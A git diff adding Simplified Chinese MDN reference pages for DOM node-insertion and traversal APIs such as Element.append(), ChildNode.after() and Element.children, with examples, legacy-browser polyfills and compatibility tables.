diff options
Diffstat (limited to 'files/zh-cn/web/api')
21 files changed, 2339 insertions, 5 deletions
diff --git a/files/zh-cn/web/api/domlocator/index.html b/files/zh-cn/web/api/domlocator/index.html new file mode 100644 index 0000000000..77ad2f17bb --- /dev/null +++ b/files/zh-cn/web/api/domlocator/index.html @@ -0,0 +1,51 @@ +--- +title: DOMLocator +slug: orphaned/Web/API/DOMLocator +translation_of: Web/API/DOMLocator +original_slug: Web/API/DOMLocator +--- +<p>{{APIRef("DOM")}}{{obsolete_header}}</p> + +<div class="warning"> +<p>NOTE: This is not implemented in Mozilla</p> +</div> + +<p>Indicates a location such as where an error occurred. Returned by DOMError.location.</p> + +<h2 id="Properties">Properties</h2> + +<dl> + <dt>{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> + <dt>{{domxref("DOMLocator.columnNumber")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> + <dt>{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> + <dt>{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> + <dt>{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> + <dt>{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}</dt> + <dd>Returns a positiove integer or -1.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>This interface neither implements, nor inherits, any method.</em></p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}</td> + <td>{{Spec2("DOM3 Core")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table>
\ No newline at end of file diff --git a/files/zh-cn/web/api/element/after/index.html b/files/zh-cn/web/api/element/after/index.html new file mode 100644 index 0000000000..76792e7638 --- /dev/null +++ b/files/zh-cn/web/api/element/after/index.html @@ -0,0 +1,176 @@ +--- +title: ChildNode.after() +slug: orphaned/Web/API/ChildNode/after +translation_of: Web/API/ChildNode/after +original_slug: Web/API/ChildNode/after +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>ChildNode.after()</code> </strong>方法会在其父节点的子节点列表中插入一些<font face="Consolas, Liberation Mono, Courier, monospace"> </font>{{domxref("Node")}} 或<font face="Consolas, Liberation Mono, Courier, monospace"> </font>{{domxref("DOMString")}} 对象。插入位置为该节点之后。{{domxref("DOMString")}} 对象会被以<font face="Consolas, Liberation Mono, Courier, monospace"> </font>{{domxref("Text")}} 的形式插入。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">[Throws, Unscopable] +void ChildNode.after((Node or DOMString)... nodes); +</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code>nodes</code></dt> + <dd>一组准备插入的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 。</dd> +</dl> + +<h3 id="错误">错误</h3> + +<ul> + <li>{{domxref("HierarchyRequestError")}}: 在某些不正确的层级结构进行了插入操作。</li> +</ul> + +<h2 id="示例">示例</h2> + +<h3 id="插入元素">插入元素</h3> + +<pre class="brush: js notranslate">var parent = document.createElement("div"); +var child = document.createElement("p"); +parent.appendChild(child); +var span = document.createElement("span"); + +child.after(span); + +console.log(parent.outerHTML); +// "<div><p></p><span></span></div>" +</pre> + +<h3 id="插入文本">插入文本</h3> + +<pre class="brush: js notranslate">var parent = document.createElement("div"); +var child = document.createElement("p"); +parent.appendChild(child); + +child.after("Text"); + +console.log(parent.outerHTML); +// "<div><p></p>Text</div>"</pre> + +<h3 id="同时插入元素和文本">同时插入元素和文本</h3> + +<pre class="brush: js notranslate">var parent = document.createElement("div"); +var child = document.createElement("p"); +parent.appendChild(child); +var span = document.createElement("span"); + +child.after(span, "Text"); + +console.log(parent.outerHTML); +// "<div><p></p><span></span>Text</div>"</pre> + +<h3 id="ChildNode.after_会被_with_环境排除"><code>ChildNode.after()</code> 会被 with 环境排除</h3> + +<p><code>after()</code> 方法不在 <code>with 环境的范围内，可以查看</code> {{jsxref("Symbol.unscopables")}} 来了解更多信息。</p> + +<pre class="brush: js notranslate">with(node) { + after("foo"); +} +// ReferenceError: after is not defined </pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>You can polyfill the <code>after()</code> method in Internet Explorer 9 and higher with the following code:</p> + +<pre class="brush: js notranslate">// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/after()/after().md +(function (arr) { + arr.forEach(function (item) { + if (item.hasOwnProperty('after')) { + return; + } + Object.defineProperty(item, 'after', { + configurable: true, + enumerable: true, + writable: true, + value: function after() { + var argArr = Array.prototype.slice.call(arguments), + docFrag = document.createDocumentFragment(); + + argArr.forEach(function (argItem) { + var isNode = argItem instanceof Node; + docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); + }); + + this.parentNode.insertBefore(docFrag, this.nextSibling); + } + }); + }); +})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> + +<h3 id="Another_polyfill">Another polyfill</h3> + +<pre class="brush: js notranslate">// from: https://github.com/FabioVergani/js-Polyfill_Element.prototype.after/blob/master/after.js + +(function(x){ + var o=x.prototype,p='after'; + if(!o[p]){ + o[p]=function(){ + var e, m=arguments, l=m.length, i=0, t=this, p=t.parentNode, n=Node, s=String, d=document; + if(p!==null){ + while(i<l){ + e=m[i]; + if(e instanceof n){ + t=t.nextSibling; + if(t!==null){ + p.insertBefore(e,t); + }else{ + p.appendChild(e); + }; + }else{ + p.appendChild(d.createTextNode(s(e))); + }; + ++i; + }; + }; + }; + }; +})(Element); + + + +/* +minified: + +(function(x){ + var o=x.prototype; + o.after||(o.after=function(){var e,m=arguments,l=m.length,i=0,t=this,p=t.parentNode,n=Node,s=String,d=document;if(p!==null){while(i<l){((e=m[i]) instanceof n)?(((t=t.nextSibling )!==null)?p.insertBefore(e,t):p.appendChild(e)):p.appendChild(d.createTextNode(s(e)));++i;}}}); +}(Element)); +*/</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-childnode-after', 'ChildNode.after()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("api.ChildNode.after")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{domxref("ChildNode")}} 和 {{domxref("ParentNode")}}</li> + <li>{{domxref("ChildNode.before()")}}</li> + <li>{{domxref("ParentNode.append()")}}</li> + <li>{{domxref("Node.appendChild()")}}</li> + <li>{{domxref("Element.insertAdjacentElement()")}}</li> + <li>{{domxref("NodeList")}}</li> +</ul> diff --git a/files/zh-cn/web/api/element/append/index.html b/files/zh-cn/web/api/element/append/index.html new file mode 100644 index 0000000000..00d22e2232 --- /dev/null +++ b/files/zh-cn/web/api/element/append/index.html @@ -0,0 +1,148 @@ +--- +title: Element.append() +slug: Web/API/Element/append +translation_of: Web/API/Element/append +tags: + - API + - DOM + - Method + - Node + - Element + - Reference +browser-compat: api.Element.append +--- +<div>{{APIRef("DOM")}}</div> + +<div> <strong><code>Element.append</code></strong> 方法在 <code>Element</code>的最后一个子节点之后插入一组 {{domxref("Node")}} 对象或 {{domxref("DOMString")}} 对象。</div> + +<div>被插入的 {{domxref("DOMString")}} 对象等价为 {{domxref("Text")}} 节点。</div> + +<div></div> + +<div>与 {{domxref("Node.appendChild()")}} 的差异：</div> + +<div></div> + +<ul> + <li><code>Element.append()</code>允许追加 {{domxref("DOMString")}} 对象，而<code><font face="Open Sans, Arial, sans-serif"> </font>Node.appendChild()</code> 只接受 {{domxref("Node")}} 对象。</li> + <li><code>Element.append()</code> <a href="https://repl.it/FgPh/1">没有返回值</a>，而 <code>Node.appendChild()</code> 返回追加的 {{domxref("Node")}} 对象。</li> + <li><code>Element.append()</code> 可以追加多个节点和字符串，而 <code>Node.appendChild()</code> 只能追加一个节点。</li> +</ul> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">[Throws, Unscopable] +void Element.append((Node or DOMString)... nodes); +</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code>nodes</code></dt> + <dd>一组要插入的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。</dd> +</dl> + +<h3 id="异常">异常</h3> + +<ul> + <li>{{domxref("HierarchyRequestError")}}: 在层次结构中的指定点不能插入节点。</li> +</ul> + +<h2 id="示例">示例</h2> + +<h3 id="插入一个元素节点">插入一个元素节点</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +var p = document.createElement("p"); +parent.append(p); + +console.log(parent.childNodes); // NodeList [ <p> ] +</pre> + +<h3 id="插入文本">插入文本</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +parent.append("Some text"); + +console.log(parent.textContent); // "Some text"</pre> + +<h3 id="插入一个节点，同时插入一些文本">插入一个节点，同时插入一些文本</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +var p = document.createElement("p"); +parent.append("Some text", p); + +console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]</pre> + +<h3 id="Element.append_方法在_with_语句中不生效"><code>Element.append()</code> 方法在 with 语句中不生效</h3> + +<p>为了保证向后兼容，append 方法在 with 语句中会被特殊处理，详情请看 {{jsxref("Symbol.unscopables")}}。</p> + +<pre class="brush: js">var parent = document.createElement("div"); + +with(parent) { + append("foo"); +} +// ReferenceError: append is not defined </pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>下面的 Polyfill 只支持到 IE 9 及以上：</p> + +<pre class="brush: js">// Source: https://github.com/jserz/js_piece/blob/master/DOM/Element/append()/append().md +(function (arr) { + arr.forEach(function (item) { + if (item.hasOwnProperty('append')) { + return; + } + Object.defineProperty(item, 'append', { + configurable: true, + enumerable: true, + writable: true, + value: function append() { + var argArr = Array.prototype.slice.call(arguments), + docFrag = document.createDocumentFragment(); + + argArr.forEach(function (argItem) { + var isNode = argItem instanceof Node; + docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); + }); + + this.appendChild(docFrag); + } + }); + }); +})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-Element-append', 'Element.append()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容">浏览器兼容</h2> + + + +<p>{{Compat("api.Element.append")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{domxref("Element")}} and {{domxref("ChildNode")}}</li> + <li>{{domxref("Element.prepend()")}}</li> + <li>{{domxref("Node.appendChild()")}}</li> + <li>{{domxref("ChildNode.after()")}}</li> + <li>{{domxref("NodeList")}}</li> +</ul> diff --git a/files/zh-cn/web/api/element/before/index.html b/files/zh-cn/web/api/element/before/index.html new file mode 100644 index 0000000000..add3dab015 --- /dev/null +++ b/files/zh-cn/web/api/element/before/index.html @@ -0,0 +1,188 @@ +--- +title: ChildNode.before() +slug: orphaned/Web/API/ChildNode/before +tags: + - api、dom、节点、方法 +translation_of: Web/API/ChildNode/before +original_slug: Web/API/ChildNode/before +--- +<div>{{APIRef("DOM")}} {{SeeCompatTable}}</div> + +<p> <code><strong>ChildNode</strong></code><strong><code>.before</code></strong> 方法可以在<code>ChildNode这个节点的父节点中插入一些列的</code> {{domxref("Node")}} 或者 {{domxref("DOMString")}} 对象，位置就是在<code>ChildNode节点的前面，</code>{{domxref("DOMString")}} 对象其实和 {{domxref("Text")}}节点一样的方式来完成插入的。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">[Throws, Unscopable] +void ChildNode.before((Node or DOMString)... nodes); +</pre> + +<h3 id="Parameters参数">Parameters参数</h3> + +<dl> + <dt><code>nodes</code></dt> + <dd>一系列的 {{domxref("Node")}} 或者 {{domxref("DOMString")}} </dd> +</dl> + +<h3 id="Exceptions">Exceptions</h3> + +<ul> + <li>{{domxref("HierarchyRequestError")}}: 当节点插入了错误的层级就会出现报错，需要遵循html标签的层级关系，</li> +</ul> + +<h2 id="Examples事例">Examples事例</h2> + +<h3 id="Inserting_an_element插入元素节点">Inserting an element插入元素节点</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +var child = document.createElement("p"); +parent.appendChild(child); +var span = document.createElement("span"); + +child.before(span); + +console.log(parent.outerHTML); +// "<div><span></span><p></p></div>" +</pre> + +<h3 id="Inserting_text插入文本节点">Inserting text插入文本节点</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +var child = document.createElement("p"); +parent.appendChild(child); + +child.before("Text"); + +console.log(parent.outerHTML); +// "<div>Text<p></p></div>"</pre> + +<h3 id="Inserting_an_element_and_text同时插入文本和元素">Inserting an element and text同时插入文本和元素</h3> + +<pre class="brush: js">var parent = document.createElement("div"); +var child = document.createElement("p"); +parent.appendChild(child); +var span = document.createElement("span"); + +child.before(span, "Text"); + +console.log(parent.outerHTML); +// "<div><span></span>Text<p></p></div>"</pre> + +<h3 id="ChildNode.before()_is_unscopable不可使用区域"><code>ChildNode.before()</code> is unscopable不可使用区域</h3> + +<p>The <code>before()</code> 不能配合with声明使用，See {{jsxref("Symbol.unscopables")}} for more information.</p> + +<pre class="brush: js">with(node) { + before("foo"); +} +// ReferenceError: before is not defined </pre> + +<h2 id="Polyfill">Polyfill</h2> + +<p>兼容ie9或者更高版本的方法，You can polyfill the <code>before() method</code> in Internet Explorer 9 and higher with the following code:</p> + +<pre class="brush: js">// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/before()/before().md +(function (arr) { + arr.forEach(function (item) { + if (item.hasOwnProperty('before')) { + return; + } + Object.defineProperty(item, 'before', { + configurable: true, + enumerable: true, + writable: true, + value: function before() { + var argArr = Array.prototype.slice.call(arguments), + docFrag = document.createDocumentFragment(); + + argArr.forEach(function (argItem) { + var isNode = argItem instanceof Node; + docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); + }); + + this.parentNode.insertBefore(docFrag, this); + } + }); + }); +})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> + +<h2 id="Specification">Specification</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-childnode-before', 'ChildNode.before()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(54.0)}}</td> + <td>{{CompatGeckoDesktop(49)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatOpera(39)}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(54.0)}}</td> + <td>{{CompatGeckoMobile(49)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatOpera(39)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatChrome(54.0)}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("ChildNode")}} and {{domxref("ParentNode")}}</li> + <li>{{domxref("ChildNode.after()")}}</li> + <li>{{domxref("ParentNode.append()")}}</li> + <li>{{domxref("Node.appendChild()")}}</li> + <li>{{domxref("Node.insertBefore()")}}</li> + <li>{{domxref("NodeList")}}</li> +</ul> diff --git a/files/zh-cn/web/api/element/childelementcount/index.html b/files/zh-cn/web/api/element/childelementcount/index.html index 11a680d8a0..8981c4ad50 100644 --- a/files/zh-cn/web/api/element/childelementcount/index.html +++ b/files/zh-cn/web/api/element/childelementcount/index.html @@ -1,15 +1,20 @@ --- -title: ParentNode.childElementCount +title: Element.childElementCount slug: Web/API/Element/childElementCount -translation_of: Web/API/ParentNode/childElementCount -original_slug: Web/API/ParentNode/childElementCount +translation_of: Web/API/Element/childElementCount +tags: + - API + - DOM + - Property + - Reference +browser-compat: api.Element.childElementCount --- <p>{{ APIRef("DOM") }} </p> -<p> <code><strong>ParentNode.childElementCount </strong></code>只读属性返回一个<em><strong>无符号长整型数字</strong></em>，表示给定元素的子元素数。</p> +<p> <code><strong>Element.childElementCount </strong></code>只读属性返回一个<em><strong>无符号长整型数字</strong></em>，表示给定元素的子元素数。</p> <div class="note"> -<p>This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("ParentNode")}} and {{domxref("ChildNode")}}. In this case, <code>childElementCount</code> moved to {{domxref("ParentNode")}}. This is a fairly technical change that shouldn't affect compatibility.</p> +<p>This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("Element")}} and {{domxref("ChildNode")}}. In this case, <code>childElementCount</code> moved to {{domxref("Element")}}. This is a fairly technical change that shouldn't affect compatibility.</p> </div> <p> </p> diff --git a/files/zh-cn/web/api/element/children/index.html b/files/zh-cn/web/api/element/children/index.html new file mode 100644 index 0000000000..9690827104 --- /dev/null +++ b/files/zh-cn/web/api/element/children/index.html @@ -0,0 +1,123 @@ +--- +title: Element.children +slug: Web/API/Element/children +translation_of: Web/API/Element/children +tags: + - API + - DOM + - Element + - HTMLCollection + - Property + - children +browser-compat: api.Element.children +--- +<p>{{ APIRef("DOM") }}</p> + +<p><code><strong>Element.children </strong></code>是一个只读属性，返回 一个Node的子{{domxref("Element","elements")}} ，是一个动态更新的 {{domxref("HTMLCollection")}}。</p> + +<h2 id="Syntax_and_values" name="Syntax_and_values">语法</h2> + +<pre>var <em>children</em> = <em>node</em>.children;</pre> + +<pre class="eval">var <em>elList</em> = elementNodeReference.children; +</pre> + +<h2 id="Notes" name="Notes">备注</h2> + +<p><code>children</code> 属性为只读属性，对象类型为 {{ domxref("HTMLCollection") }}，你可以使用 <code>elementNodeReference.children[1].nodeName</code> 来获取某个子元素的标签名称。</p> + +<h2 id="Example" name="Example">例子</h2> + +<pre class="brush: js">// parg是一个指向<p>元素的对象引用 +if (parg.childElementCount) +// 检查这个<p>元素是否有子元素 +// 译者注:childElementCount有兼容性问题 + { + var children = parg.children; + for (var i = 0; i < children.length; i++) + { + // 通过children[i]来获取每个子元素 + // 注意:List是一个live的HTMLCollection对象,在这里添加或删除parg的子元素节点,都会立即改变List的值. + }; + }; +</pre> + +<h2 id="规范" style="margin-bottom: 20px; line-height: 30px;">规范</h2> + +<p> </p> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-Element-children', 'Element.children')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>1</td> + <td>3.5</td> + <td>9 (IE6-8 incl commend nodes)</td> + <td>10</td> + <td>4</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}<span style="font-size: 14px; line-height: 1.5;"></span></td> + </tr> + </tbody> +</table> +</div> + +<p style="margin-bottom: 20px; line-height: 30px;">[1] Internet Explorer 6 - 8 支持该属性，但是可能会错误地包含注释 {{domxref("Comment")}} 节点。</p> + +<h2 id="相关链接" style="margin-bottom: 20px; line-height: 30px;">相关链接</h2> + +<ul> + <li>The {{domxref("Element")}} and {{domxref("ChildNode")}} pure interfaces.</li> + <li> + <div class="syntaxbox">Object types implementing this pure interface: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div> + </li> +</ul> diff --git a/files/zh-cn/web/api/element/firstelementchild/index.html b/files/zh-cn/web/api/element/firstelementchild/index.html new file mode 100644 index 0000000000..dbbc7868e1 --- /dev/null +++ b/files/zh-cn/web/api/element/firstelementchild/index.html @@ -0,0 +1,101 @@ +--- +title: Element.firstElementChild +slug: Web/API/Element/firstElementChild +translation_of: Web/API/Element/firstElementChild +tags: + - API + - DOM + - Element + - Property +browser-compat: api.Element.firstElementChild +--- +<p>{{ APIRef("DOM") }}</p> + +<p><strong><code>Element.firstElementChild</code></strong> 只读属性，返回对象的第一个子 {{domxref("元素")}}, 如果没有子元素，则为null。</p> + +<div class="note"> +<p><span>他的属性最初是在{{domxref("element遍历")}}纯接口中定义的。由于这个接口包含两组不同的属性，一个针对具有子元素的{{domxref("Node")}}，一个针对子元素的属性，因此它们被移动到两个单独的纯接口中，{{domxref("Element")}}和{{domxref("ChildNode")}}。在本例中，firstElementChild移动到{{domxref("Element")}}。这是一个相当技术性的更改，不应该影响兼容性。</span></p> +</div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <em>element</em> = node.firstElementChild; +</pre> + +<h2 id="例子">例子</h2> + +<pre class="brush: html"><ul id="foo"> + <li>First (1)</li> + <li>Second (2)</li> + <li>Third (3)</li> +</ul> + +<script> +var foo = document.getElementById('foo'); +// yields: First (1) +console.log(foo.firstElementChild.textContent); +</script> +</pre> + +<h2 id="适用于_IE8、IE9_和_Safari_的_Polyfill">适用于 IE8、IE9 和 Safari 的 Polyfill</h2> + +<pre><code>// Overwrites native 'firstElementChild' prototype. +// Adds Document & DocumentFragment support for IE9 & Safari. +// Returns array instead of HTMLCollection. +;(function(constructor) { + if (constructor && + constructor.prototype && + constructor.prototype.firstElementChild == null) { + Object.defineProperty(constructor.prototype, 'firstElementChild', { + get: function() { + var node, nodes = this.childNodes, i = 0; + while (node = nodes[i++]) { + if (node.nodeType === 1) { + return node; + } + } + return null; + } + }); + } +})(window.Node || window.Element);</code></pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-Element-firstelementchild', 'Element.firstElementChild')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Splitted the <code>ElementTraversal</code>interface in {{domxref("ChildNode")}} and <code>Element</code>. This method is now defined on the latter.<br> + The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.</td> + </tr> + <tr> + <td>{{SpecName('Element Traversal', '#attribute-firstElementChild', 'ElementTraversal.firstElementChild')}}</td> + <td>{{Spec2('Element Traversal')}}</td> + <td>Added its initial definition to the<code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Element.firstElementChild")}}</p> + +<h2 id="参见">参见</h2> + +<h2 id="Ed"><a class="button section-edit only-icon" href="https://developer.mozilla.org/zh-CN/docs/Web/API/Element/lastElementChild$edit#参见" rel="nofollow, noindex"><span>Ed</span></a></h2> + +<ul> + <li>纯接口 {{domxref("Element")}} 和 {{domxref("ChildNode")}}。</li> + <li> + <div class="syntaxbox">实现了此纯接口的对象类型：{{domxref("Document")}}、{{domxref("Element")}}，和 {{domxref("DocumentFragment")}}。</div> + </li> +</ul> diff --git a/files/zh-cn/web/api/element/lastelementchild/index.html b/files/zh-cn/web/api/element/lastelementchild/index.html new file mode 100644 index 0000000000..21a33fd6b6 --- /dev/null +++ b/files/zh-cn/web/api/element/lastelementchild/index.html @@ -0,0 +1,99 @@ +--- +title: Element.lastElementChild +slug: Web/API/Element/lastElementChild +translation_of: Web/API/Element/lastElementChild +tags: + - API + - DOM + - Element + - Property +browser-compat: api.Element.lastElementChild +--- +<p>{{ APIRef("DOM") }}</p> + +<p>只读属性 <code><strong>Element.lastElementChild</strong></code> 返回对象的最后一个子{{domxref("Element", "元素")}}，如果没有子元素，则返回 <code>null</code>。</p> + +<div class="note"> +<p>This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("Element")}} and {{domxref("ChildNode")}}. In this case, <code>lastElementChild</code> moved to {{domxref("Element")}}. This is a fairly technical change that shouldn't affect compatibility.</p> +</div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <em>element</em> = node.lastElementChild; </pre> + +<h2 id="例子">例子</h2> + +<pre class="brush: html"><ul id="foo"> + <li>First (1)</li> + <li>Second (2)</li> + <li>Third (3)</li> +</ul> + +<script> +var foo = document.getElementById('foo'); +// yields: Third (3) +console.log(foo.lastElementChild.textContent); +</script> +</pre> + +<h2 id="适用于_IE8、IE9_和_Safari_的_Polyfill">适用于 IE8、IE9 和 Safari 的 Polyfill</h2> + +<pre class="brush: js">// Overwrites native 'lastElementChild' prototype. +// Adds Document & DocumentFragment support for IE9 & Safari. +// Returns array instead of HTMLCollection. +;(function(constructor) { + if (constructor && + constructor.prototype && + constructor.prototype.lastElementChild == null) { + Object.defineProperty(constructor.prototype, 'lastElementChild', { + get: function() { + var node, nodes = this.childNodes, i = nodes.length - 1; + while (node = nodes[i--]) { + if (node.nodeType === 1) { + return node; + } + } + return null; + } + }); + } +})(window.Node || window.Element); +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-Element-lastelementchild', 'Element.lastElementChild')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}} and <code>Element</code>. This method is now defined on the latter.<br> + The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.</td> + </tr> + <tr> + <td>{{SpecName('Element Traversal', '#attribute-lastElementChild', 'ElementTraversal.lastElementChild')}}</td> + <td>{{Spec2('Element Traversal')}}</td> + <td>Added its initial definition to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Element.lastElementChild")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>纯接口 {{domxref("Element")}} 和 {{domxref("ChildNode")}}。</li> + <li> + <div class="syntaxbox">实现了此纯接口的对象类型：{{domxref("Document")}}、{{domxref("Element")}}，和 {{domxref("DocumentFragment")}}。</div> + </li> +</ul> diff --git a/files/zh-cn/web/api/element/prepend/index.html b/files/zh-cn/web/api/element/prepend/index.html new file mode 100644 index 0000000000..eb7edc31cd --- /dev/null +++ b/files/zh-cn/web/api/element/prepend/index.html @@ -0,0 +1,134 @@ +--- +title: Element.prepend() +slug: Web/API/Element/prepend +translation_of: Web/API/Element/prepend +tags: + - API + - DOM + - Method + - Node + - Element + - Reference + - prepend +browser-compat: api.Element.prepend +--- +<div>{{APIRef("DOM")}}</div> + +<p><strong><code>Element.prepend</code></strong> 方法可以在父节点的第一个子节点之前插入一系列{{domxref("Node")}}对象或者{{domxref("DOMString")}}对象。{{domxref("DOMString")}}会被当作{{domxref("Text")}}节点对待（也就是说插入的不是HTML代码）。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Element.prepend((Node or DOMString)... nodes); +</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code>nodes</code></dt> + <dd>要插入的一系列{{domxref("Node")}}或者{{domxref("DOMString")}}。</dd> +</dl> + +<h3 id="返回值">返回值</h3> + +<p><code>undefined</code>.</p> + +<h3 id="错误">错误</h3> + +<ul> + <li>{{domxref("HierarchyRequestError")}}：节点不能插入当前层级内。</li> +</ul> + +<h2 id="例子">例子</h2> + +<h3 